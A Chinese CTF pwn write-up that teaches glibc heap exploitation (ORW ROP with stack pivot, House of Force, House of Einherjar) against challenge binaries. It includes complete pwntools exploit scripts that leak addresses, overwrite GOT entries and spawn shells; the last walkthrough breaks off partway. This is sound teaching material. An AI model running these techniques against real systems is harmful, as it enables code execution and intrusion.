这样在程序中，每打开一个文件，文件描述符值从3开始累加。
我们打开了一个file_name_addr文件，文件描述符就变为了3，3就代表了file_name_addr文件
read函数第一个参数是3，就是在这个文件里读取数据。

1
2
3
4
5
6
7

ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])

write(1,flag_addr,0x40)

1
2
3
4
5
6
7

ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

申请chunk，将ROP链写到chunk里

1
2
3

add(4,4,ROP_chain)

dbg()

栈迁移

利用read(0, buf, 0x90uLL);buf0x80字节，正好可以溢出0x10字节，进行栈迁移，将程序迁移到我们最新申请的chunk处执行我们的ROP链。

1
2
3
4
5
6
7
8

leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180

# coding=utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 

sh = process('./RedPacket_SoEasyPwn1')
#sh = remote('node4.buuoj.cn','27283')

libc=ELF("./libc-2.29.so")

 
 

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims		    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()
 

def add(index,chunk_size_index,value):
    ru('Your input: ')
    sl('1')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
    sl(str(chunk_size_index))
    ru('Please input content: ')
    sl(value)

def free(index):
    ru('Your input: ')
    sl('2')
    ru('Please input the red packet idx: ')
    sl(str(index))

def edit(index,value):
    ru('Your input: ')
    sl('3')
    ru('Please input the red packet idx: ')
    sl(str(index))
    ru('Please input content: ')
    sl(value)

def show(index):
    ru('Your input: ')
    sl('4')
    ru('Please input the red packet idx: ')
    sl(str(index))


 

#1.0x10 2.0xf0 3.0x300 4.0x400
for i in range(7):
    add(15,4,'Chunk_15')
    free(15)



for i in range(6):
    add(14,2,'Chunk_14')
    free(14)

#dbg()

show(15)
last_chunk_addr = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00'))
lg('last_chunk_addr',last_chunk_addr)
heap_addr = last_chunk_addr - 0x26C0
lg('heap_addr',heap_addr)

#dbg()

add(1,4,'Chunk_1')
add(13,3,'Chunk_13')

#dbg()

free(1)
show(1)
libc_base = u64(ru('\x0A').strip('\x0A').ljust(8,'\x00')) - 0x1E4CA0
lg('libc_base',libc_base)


#dbg()

#在unsortedbin里寻找大小为0x300的chunk，分割unsortedbin 里的chunk，拿出0x300，还剩0x100
add(13,3,'Chunk_13')


#dbg()

#在unsortedbin里寻找大小为0x300的chunk，此时unsortedbin中chunk只有0x100大小，0x100的chunk进入smallbin，从top chunk中分配0x300大小的chunk
add(13,3,'Chunk_13')

#dbg()

#在申请一个0x400大小的chunk，再制造一个0x100的smallbin的chunk
add(2,4,'Chunk_2')
#申请一个chunk防止合并
add(13,4,'Chunk_13')

#dbg()

free(2)

#dbg()

add(13,3,'Chunk_13')
add(13,3,'Chunk_13')

#dbg()

payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(2,payload)

#dbg()

add(3,2,'Chunk_3')
lg('heap_addr',heap_addr)

#dbg()

#ORW
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40 #下一个chunk的mem位置起始位置
flag_addr = file_name_addr + 0x0000000000000200 #将flag写到file_name_addr + 0x0000000000000200处，防止覆盖掉有用内容
ROP_chain  = '/flag\x00\x00\x00'
#open(file_name_addr,0)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
#read(3,flag_addr,0x40)
#Read函数的第一个参数文件描述符从0开始累加，
#程序进行时内核会自动打开3个文件描述符，0，1，2，分别对应，标准输入、输出和出错，
#这样在程序中，每打开一个文件，文件描述符值从3开始累加。
#我们打开了一个file_name_addr文件，文件描述符就变为了3，3就代表了file_name_addr文件
#read函数第一个参数是3，就是在这个文件里读取数据。
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
#write(1,flag_addr,0x40)
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])

add(4,4,ROP_chain)

#dbg()

leave_ret = libc_base + 0x0000000000058373
ru('Your input: ')
sl('666')
ru('What do you want to say?')
#栈迁移
sl('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

#dbg()
itr()

House Of Force2

基于top chunk分配机制的利用,glibc会对用户请求的size_1和top chunk现有的size_0进行验证，如果size_0大于用户申请的chunk大小size_1，就会将从top chunk中切割出size_1大小的chunk，剩余部分放入top chunk。

如果top chunk足够大（size_0大于top chunk与目标地址的距离），malloc两次，第二次申请的chunk就会到目标地址处，实现一次任意地址写。

然而实际上top chunk 的size_0，一般不会这么大，所以这种利用手法的前提是可以修改top chunk的size_0大小,把它变成一个很大的数,一般是将其改为-1（32位：0xffffffff，64位:0xffffffffffffffff），因为在将size_0和size_1进行比较时会把size转换成无符号长整型数，因此-1也就是说unsigned long中最大的数。

glibc源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// 获取当前的top chunk，并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后，其大小仍然满足 chunk 的最小大小，那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

例题

bcloud_bctf_2016

程序实现了三个功能，增加一个chunk，编辑一个chunk的内容，删除一个chunk

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

int add()
{
  int result; // eax
  int i; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && heap_array[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  v2 = choose();
  heap_array[i] = malloc(v2 + 4);
  if ( !heap_array[i] )
    exit(-1);
  dword_804B0A0[i] = v2;
  puts("Input the content:");
  readd(heap_array[i], v2, 10);
  printf("Create success, the id is %d\n", i);
  result = i;
  dword_804B0E0[i] = 0;
  return result;
}

add函数申请chunk时会创建一个存放所有chunk mem指针的全局数组，思考如果可以申请chunk到全局数组处，修改全局数组，实现任意地址写

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

int edit()
{
  unsigned int v1; // [esp+14h] [ebp-14h]
  int v2; // [esp+18h] [ebp-10h]
  int v3; // [esp+1Ch] [ebp-Ch]

  puts("Input the id:");
  v1 = choose();
  if ( v1 >= 0xA )
    return puts("Invalid ID.");
  v2 = heap_array[v1];
  if ( !v2 )
    return puts("Note has been deleted.");
  v3 = dword_804B0A0[v1];
  dword_804B0E0[v1] = 0;
  puts("Input the new content:");
  readd(v2, v3, 10);
  return puts("Edit success.");
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int delete()
{
  unsigned int v1; // [esp+18h] [ebp-10h]
  void *index; // [esp+1Ch] [ebp-Ch]
  puts("Input the id:");
  v1 = choose();
  if ( v1 >= 0xA )
    return puts("Invalid ID.");
  index = heap_array[v1];
  if ( !index )
    return puts("Note has been deleted.");
  heap_array[v1] = 0;
  dword_804B0A0[v1] = 0;
  free(index);  #UAF
  return puts("Delete success.");
}

delete函数在释放chunk时存在UAF漏洞

自定义一个read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int __cdecl readd(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh] BYREF
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(a1 + i) = buf;
  }
  *(i + a1) = 0;
  return i;
}

三个参数，a1为要输入的地址，a2为输入大小，a3为截止符

先把前面的一些东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序，linux系统，64位架构,debug
#定义gdb调试函数
def dbg():
        gdb.attach(sh)
        pause()
#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)
elf = ELF('./bcloud_bctf_2016')
def add(size,content):
   sla('>>','1')
   sla('note content:',str(size))
   sa('content:',content)
 
def edit(index,content):
   sla('>>','3')
   sla('id:',str(index))
   sa('content:',content)
 
def delete(index):
   sla('>>','4')
   sla('id:',str(index))

分析：

程序没有show函数，无法泄露libc基地址，观察程序发现最开时让我们输入name等信息处存在漏洞


strcpy复制结束的标志是’\x00’，chunk的mem大小只有64字节，如果输入64字节，show函数会把堆地址泄露出来

1
2
3
4
5

sa('name:','a'*64)
ru('a'*64)
heap_addr = u32(r(4)) - 0x8
lg('heap_addr',heap_addr)
dbg()

再看另一个函数

栈布局

1
2
3
4
5
6
7
8
9
10
11

-0000005C v2 dd ?
-00000058 db ? ; undefined
-00000057 db ? ; undefined
..........
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 v4 dd ?
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined

这里的v2，v3和v4，s都是位于栈上的，且在栈上s和v4的空间是连着的，而strcpy复制结束的标志是’\x00’，如果我们将s填满（b’b’*0x40），再将v3写为0xffffffff，那么strcpy(v4, v3);会把v4变为0xffffffff， strcpy(v2, s);会把b’b’*0x40+0xffffffff复制给v2，而v2也是一个size大小为0x40的chunk的mem指针，0xffffffff将覆盖到chunkv2 的下一位，而下一位正好是top chunk的大小，这样我们就成功将top chunk的大小改为了0xffffffff（-1）

1
2
3
4

sa('Org:','a'*0x40)
sla('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr  + 0x48*3 - 0x8
lg('top_chunk_addr',(top_chunk_addr))

之后就来算一下存放chunk指针的全局数组heap_array（0x0804B120）与top chunk的距离，
因为程序一开始就申请了三个大小为0x40的chunk(算上头指针为0x48)，第一次泄露的heap已经算上头指针，heap与top chunk距离0x48*3-0x8=0xD0大小，再加上我们一开始泄露出来的heap的地址（heap_addr）就是top chunk的mem指针地址，

1

offset = heap_array - （top_chunk_addr +0x8）- 0x8

heap_array - top_chunk_addr是top chunk的mem地址,减去0x8字节是top chunk的头指针地址，
之后申请offset-0x10大小的chunk，之所以是再减0x8是因为我们要将heap_array作为mem区域来修改，第一次申请offset-0x10大小的chunk，为第二次申请的chunk预留出chunk头的0x8字节大小（0x4字节的pre_size位和0x4字节的now_size位）。再次申请chunk即为heap_array为mem区域的chunk，可修改heap_array数组，

1
2

add(offset,'\n')	
add(0x18,'\n')

之后编辑chunk_1来修改heap_array数组

1
2
3
4

puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10) + b'\x00'*0x8)

此时chunk依次为0，free_got，__libc_start_main_got，heap_array+0x10（保持原3号chunk不变）

1

edit(1,p32(puts_plt) + b'\n')

此时chunk_1存放free_got地址，编辑chunk_1，将free_got改为puts_plt函数地址

1
2

delete(2)
dbg()

free（chunk_2），相当于puts(__libc_start_main_got)，泄露__libc_start_main_got地址，得到libc基地址，得到one_gadget地址

1
2
3
4
5
6
7
8

#本地
one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
#buu远程
#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('../../libc-2.23.so--32')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
onegadget = one_gadget[3] + libc_base

再次编辑chunk__1将puts函数地址改为one_gadget地址，free（chunk_1）执行exeve(“/bin/sh\x00”)，获得shell。

1
2

delete(1)
itr()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86

from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序，linux系统，64位架构,debug
#定义gdb调试函数
def dbg():
        gdb.attach(sh)
        pause()
#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)

elf = ELF('./bcloud_bctf_2016')
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
heap_array = 0x0804B120
 
def add(size,content):
   sla('>>','1')
   sla('note content:',str(size))
   sa('content:',content)
 
def edit(index,content):
   sla('>>','3')
   sla('id:',str(index))
   sa('content:',content)
 
def delete(index):
   sla('>>','4')
   sla('id:',str(index))
def main():
	sa('name:','a'*64)
	ru('a'*64)
	heap_addr = u32(r(4)) 
	lg('heap_addr',heap_addr)
	#dbg()
	sa('Org:','a'*0x40)
	#修改top chunk的size为-1（0xFFFFFFFF）
	sla('Host:',p32(0xFFFFFFFF))
	top_chunk_addr = heap_addr + 0x48*3-0x8
	lg('top_chunk_addr',(top_chunk_addr))
	offset = heap_array - (top_chunk_addr +0x8)- 0x8
	lg('offset',offset)
	add(offset,'') #0
	add(0x18,'\n') #1
	edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10)  + b'\x00'*8)
	edit(1,p32(puts_plt) + b'\n')
	#泄露__libc_start_main_got的地址
	delete(2)
	r(1)
	__libc_start_main_addr = u32(r(4))
	lg('__libc_start_main',__libc_start_main_addr)
	#dbg()
	'''
	libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
	libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
	system_addr = libc_base + libc.dump('system')
	lg('libc_base',(libc_base))
	lg('system_addr',(system_addr))
	edit(1,p32(system_addr) + b'\n')
	'''
	#本地
	one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
	libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
	#buu远程
	#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
	#libc = ELF('../../libc-2.23.so--32')
	libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
	onegadget = one_gadget[3] + libc_base
	edit(1,p32(onegadget) + b'\n')
	#getshell
	delete(1)
	itr()
main()

House of Einherjar

原理

释放堆块时，unlink后向合并堆块，强制使得 malloc 返回一个几乎任意地址的 chunk 。

free 函数中的后向合并核心操作如下

1
2
3
4
5
6
7

/* consolidate backward */
if (!prev_inuse(p)) {
    prevsize = prev_size(p);
    size += prevsize;
    p = chunk_at_offset(p, -((long) prevsize));
    unlink(av, p, bck, fwd);
}

后向合并时，新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize))

思路1：两个chunk通过后向unlink直接实现任意地址写

假设有两个连续的chunk，我们利用低地址的chunk将高地址 chunk 的 prev_size 写为目标地址与当前地址的差值，free后合并，再malloc，就可以申请到目标地址的chunk，实现任意地址写，但是需要在目的 chunk 附近构造相应的 fake chunk，fake_chunk的size字段，必须和chunk_b的pre_size字段一致，为二者之间的偏移量，从而绕过 unlink 的检测。

思路2：三个chunk通过后向unlink实现double free

1
2
3
4

chunk_0  0xD0    # 堆块大小需要保证释放后不进入tcache bin和fastbin，即存在tcache需要先填满对应的tcache 
chunk_1  0x18    # 堆块大小以8结尾，保证off by null可以覆盖到下一个堆块的prev_inuse
chunk_2  0xD0    # 堆块大小的最后一个字节必须为00，也就是上一个堆块覆盖prev_inuse后不会影响该堆块的大小
chunk_3  0x10    # 堆块大小任意，防止前面的堆块合并到Top chunk中

申请四个chunk，第四个chunk用来将前三个chunk与top chunk隔开（防止free前三个chunk后与top chunk合并），先free(chunk_0)，利用off-by-null修改第2个chunk的mem，将第三个chunk的的prev_size修改为前两个chunk大小之和，然后free(chunk_2)，将chunk_0,chunk_1,chunk_2合并，之后申请chunk_0大小和chunk_1大小的chunk，再free(chunk_1),free(chunk_5)，实际chunk_1和chunk_5是同一个chunk，从而实现double free。

例题：

2016_seccon_tinypad

运行程序发现有四个功能：增删改退，分别用a,d,e,q进行操作，并且每次进行一次操作，程序会把每个chunk的内容输出出来，根据ida伪代码发现只能最多申请4个chunk

ida伪代码

主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  int choice; // eax
  int v5; // eax
  __int64 v6; // rax
  size_t v7; // rax
  int c; // [rsp+4h] [rbp-1Ch] BYREF
  int i; // [rsp+8h] [rbp-18h]
  int index; // [rsp+Ch] [rbp-14h]
  int v12; // [rsp+10h] [rbp-10h]
  int v13; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v14; // [rsp+18h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  v12 = 0;
  write_n(&unk_4019F0, 1uLL);
  write_n(
    "  ============================================================================\n"
    "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n"
    "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n"
    "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n"
    "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n"
    "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n"
    "  ============================================================================\n",
    563uLL);
  write_n(&unk_4019F0, 1uLL);
  do
  {
    for ( i = 0; i <= 3; ++i )
    {
      LOBYTE(c) = i + 49;
      writeln("+------------------------------------------------------------------------------+\n", 81LL);
      write_n(" #   INDEX: ", 12uLL);
      writeln(&c, 1LL);
      write_n(" # CONTENT: ", 12uLL);
      if ( *&tinypad[16 * i + 264] )
      {
        v3 = strlen(*&tinypad[16 * i + 264]);
        writeln(*&tinypad[16 * i + 264], v3);
      }
      writeln(&unk_4019F0, 1LL);
    }
    index = 0;
    choice = getcmd();
    v12 = choice;
    if ( choice == 68 )
    {
      write_n("(INDEX)>>> ", 11uLL);
      index = read_int();
      if ( index <= 0 || index > 4 )            // 只能申请四个chunk
                                                // 
      {
LABEL_29:
        writeln("Invalid index", 13LL);
        continue;
      }
      if ( !*&tinypad[16 * index + 240] )
      {
LABEL_31:
        writeln("Not used", 8LL);
        continue;
      }
      free(*&tinypad[16 * index + 248]);
      *&tinypad[16 * index + 240] = 0LL;        // size置为0，头指针未置为0
      writeln("\nDeleted.", 9LL);      					//uaf
    }
    else if ( choice > 0x44 )
    {
      if ( choice != 0x45 )
      {
        if ( choice == 81 )
          continue;
LABEL_41:
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11uLL);
      index = read_int();
      if ( index <= 0 || index > 4 )
        goto LABEL_29;
      if ( !*&tinypad[16 * index + 240] )
        goto LABEL_31;
      c = 48;
      strcpy(tinypad, *&tinypad[16 * index + 248]);
      while ( toupper(c) != 89 )
      {
        write_n("CONTENT: ", 9uLL);
        v6 = strlen(tinypad);
        writeln(tinypad, v6);
        write_n("(CONTENT)>>> ", 13uLL);
        v7 = strlen(*&tinypad[16 * index + 248]);
        read_until(tinypad, v7, 10u);
        writeln("Is it OK?", 9LL);
        write_n("(Y/n)>>> ", 9uLL);
        read_until(&c, 1uLL, 10u);
      }
      strcpy(*&tinypad[16 * index + 248], tinypad);
      writeln("\nEdited.", 8LL);
    }
    else
    {
      if ( choice != 65 )
        goto LABEL_41;
      while ( index <= 3 && *&tinypad[16 * index + 256] )
        ++index;
      if ( index == 4 )
      {
        writeln("No space is left.", 17LL);
      }
      else
      {
        v13 = -1;
        write_n("(SIZE)>>> ", 10uLL);
        v13 = read_int();
        if ( v13 <= 0 )
        {
          v5 = 1;
        }
        else
        {
          v5 = v13;
          if ( v13 > 0x100 )
            v5 = 256;
        }
        v13 = v5;
        *&tinypad[16 * index + 256] = v5;
        *&tinypad[16 * index + 264] = malloc(v13);
        if ( !*&tinypad[16 * index + 264] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n("(CONTENT)>>> ", 13uLL);
        read_until(*&tinypad[16 * index + 264], v13, 10u);
        writeln("\nAdded.", 7LL);
      }
    }
  }
  while ( v12 != 81 );
  return 0;
}

add函数

1
2

*&tinypad[16 * index + 0x100] = v5;
   *&tinypad[16 * index + 264] = malloc(v13);

存在chunk全局数组，起始地址从0x602040+16*0+0x100=0x602140 开始依次存放chunk的size大小和头指针

edit函数

该edit函数调用的read_until函数存在off-by-null漏洞

free函数

free函数存在uaf漏洞

思路

首先泄露libc和heap地址

利用 house of einherjar 方法在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时，那么就可以控制4个 memo 的指针和内容了。

这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址，但是，由于当编辑时，程序是利用 strlen 来判读可以读取多少长度，而 malloc_hook 则在初始时为 0。不能覆盖malloc_hook

1

v6 = strlen(tinypad);

可以泄露出environ 的地址，通过gdb调试进而求得存储 main 函数的返回地址的地址，将main 函数的返回地址覆盖为one_gadget来获得shell

利用过程

先把前面的代码写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

# coding=utf-8
from pwn import*
context(endian='little',os='linux',arch='amd64',log_level='debug') #小端序，linux系统，64位架构,debug
sh = process('./tinypad')
libc = ELF('//home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')

#命令简写化
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims             :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
#定义gdb调试函数
def dbg():
        gdb.attach(sh)
        pause()

def add(size, content='a'):
    sla('(CMD)>>> ','a')
    sla('(SIZE)>>> ',str(size))
    sla('(CONTENT)>>> ',content)



def edit(idx, content):
    sla('(CMD)>>> ','e')
    sla('(INDEX)>>> ',str(idx))
    sla('(CONTENT)>>> ',content)
    sla('Is it OK?\n','Y')
   


def free(idx):
    sla('(CMD)>>> ','d')
    sla('(INDEX)>>> ',str(idx))

def exit():
    sla('(CMD)>>> ','Q')

先申请四个chunk，free(3)和free(1),堆块大于0x7f，所以会进入unsorted bin里，chunk是从1开始计数的，此时chunk_1里存放的就是chunk_3的头指针和main_arena+88的地址，chunk_3的头指针前面有两个大小为(0x100+0x10)的chunk，减去(0x100+0x10)*2就是heap的基地址，之后计算出main_arena+88与libc基地址的距离（这个距离是固定的）0x7f19d3ef7b78−0x7f19d3b33000=0x3C4B78

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

add(0x100)
add(0x100)
add(0x100)
add(0x100)

free(3)
free(1)
ru('INDEX: 1')
ru('CONTENT: ')
heapbase = u64(ru('\n')[:-1].ljust(8,b'\x00')) -(0x100+0x10)*2
ru('INDEX: 3')
ru('CONTENT: ')
libcbase = u64(ru('\n')[:-1].ljust(8,b'\x00')) - 0x3C4B78
environ = libc.sym['environ']+libcbase
lg('heapbase',heapbase)
lg('libcbase',libcbase)

dbg()

在 tinypad 的前0x100字节中伪造 chunk。当我们再次申请时，那么就可以控制4个 memo 的指针和内容了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

add(0x100)
add(0x100)

#dbg()

#四个chunk与top chunk合并
free(4)
free(1)
free(2)
free(3)

#dbg()
#empty now 

add(0x100,'a'*0x100)
edit(1,b'a'*0x30+p64(0)+p64(0x41)+p64(0x602070)*2+b'\x00'*0x20+p64(0x40))

#dbg()


free(1)


add(0x10) #1
add(0xf0) #2
add(0x10) #3
add(0x100,'a'*0x100) #4

之后free(1)，再申请0x18大小的chunk_1，利用add函数里自定义的read函数的off-by-null，可以将chunk_2的pre_size改为chunk数组附近0x602070处，再次free(2)，这样利用House of einherjar，可以将free的 chunk转移到0x602070（chunk_2的头指针）处，就可以0x602040（chunk_1的头指针）处形成我们提前构造好的chunk

1
2
3
4
5
6
7
8

#edit(1,b'a'*0x30+p64(0)+p64(0x41)+p64(0x602070)*2+b'\x00'*0x20+p64(0x40))


free(1)
target = heapbase+0x20-0x602070
add(0x18,b'a'*0x10+p64(target)) #1

dbg()

再free（2），编辑chunk_4就相当于在0x602040处的chunk开始编辑，将

1
2
3
4
5

free(2)

edit(4,b'a'*0x30+p64(0)+p64(0x101)+p64(main_arena_88)*2)

dbg()

